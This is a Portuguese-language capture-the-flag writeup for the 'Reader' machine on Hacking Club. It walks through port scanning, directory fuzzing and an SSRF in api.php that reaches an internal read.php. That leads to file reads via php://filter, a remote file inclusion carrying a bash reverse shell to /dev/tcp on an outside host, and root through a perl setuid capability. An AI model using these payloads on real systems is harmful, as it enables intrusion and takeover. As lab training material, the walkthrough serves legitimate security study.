Published on

Reader Writeup

Authors
Logo Reader

Plataforma: Hacking Club

Dificuldade: Easy

Nome: Reader


Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1b:6f:d9:6f:08:c8:eb:59:76:5f:fe:f5:1f:28:b4:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCdE/+UDioqJcBqKEjyENBihhOMB9Ocue8I+pDmGchJZvrGwO2MbIiL6VLH+bqm08nrq+NdjzWM7TewudhK9viM=
|   256 81:51:ba:61:11:db:07:50:51:66:92:d8:e1:ff:68:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKH7CspTNqFcDLRTPhHJYggspYSAuzmq+DXCv2U/Q2Jq
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Emergency Maintenance
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Essa maquina tem somente as portas 22 (SSH) e 80 (HTTP) aberta.

Enumeration

Uma página web simples que aparentemente está em manutenção e somente o serviço de API está funcionando. Página de manutenção

Nada no robots.txt.

Não tem muito o que se fazer , então fiz um fuzzing pra procurar por diretórios antes de ver essa API.

gobuster dir -u $URL -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -x php,sh,txt,cgi,html,js,css,py

Starting gobuster in directory enumeration mode
===============================================================
/api.php              (Status: 200) [Size: 56]
/index.php            (Status: 200) [Size: 17866]
/logfiles             (Status: 301) [Size: 315] [--> <http://172.16.4.104/logfiles/>]

Tem um diretório chamado logfiles que vai ser útil mais pra frente.


Na parte de API diz que só aceita requisições POST.

API POST Peguei a requisição pelo burp pra enviar com POST. Burp requisicao Diz que esta faltando um parâmetro chamado URL.

Por alguma razão pelo burp não esta funcionando passar o parâmetro , mas via curl deu certo:

Curl POST curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1"
Ele está salvando a requisição em algum lugar no arquivo .txt (Salvo em /logfiles/ achado via gobuster). Curl respostaComo o parâmetro se chama url podemos deduzir que se trata de um SSRF. Utilizei esse simples port scan pra descobrir quais portas internas o servidor possui.
for port in 22 21 25 80 8080 3306 5432 8443 445 9000; do echo "Scanning port $port..."; curl -X POST -s -d "url=http://127.0.0.1:$port" "<http://172.16.4.104/api.php>" | cat; done
Foi achado 2 portas interessantes com esse portscan a porta 3306 e a 8080: Portas interessantes Agora é fazer a requisição na porta 8080 com o curl e ver .

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/"

Curl 8080A gente pode ir no diretorio logfiles pra ver qual foi a resposta do servidor.
Logfiles resposta curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php" Curl read.php Lendo o output , ele diz que falta um parâmetro chamado file Logfiles output 2 curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=/etc/passwd" Curl etc/passwd Logfiles output 3 Pra entender melhor o que a aplicação está fazendo a gente vai ler o arquivo read.php utilizando o schema php://

Lembrando que é necessário converter pra base64 , por que se não a aplicação vai nos retornar uma pagina em branco.

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=php://filter/convert.base64-encode/resource=read.php" Curl base64 Logfiles output 4 Decode base64

Include $_GET ['file'] indica um RFI (Remote-File Inclusion) que podemos usar pra ganhar acesso ao servidor.

Foothold

python3 -m http.server

#shell.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.31.150/1337 0>&1'"); ?>
Python server
Agora é so mandar a requisição pro servidor. curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=http://10.0.31.150:80/shell.php" Foothold

Privilege Escalation

getcap -r / 2>/dev/null Privesc 1 /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";’ Privesc 2

Proof

Proof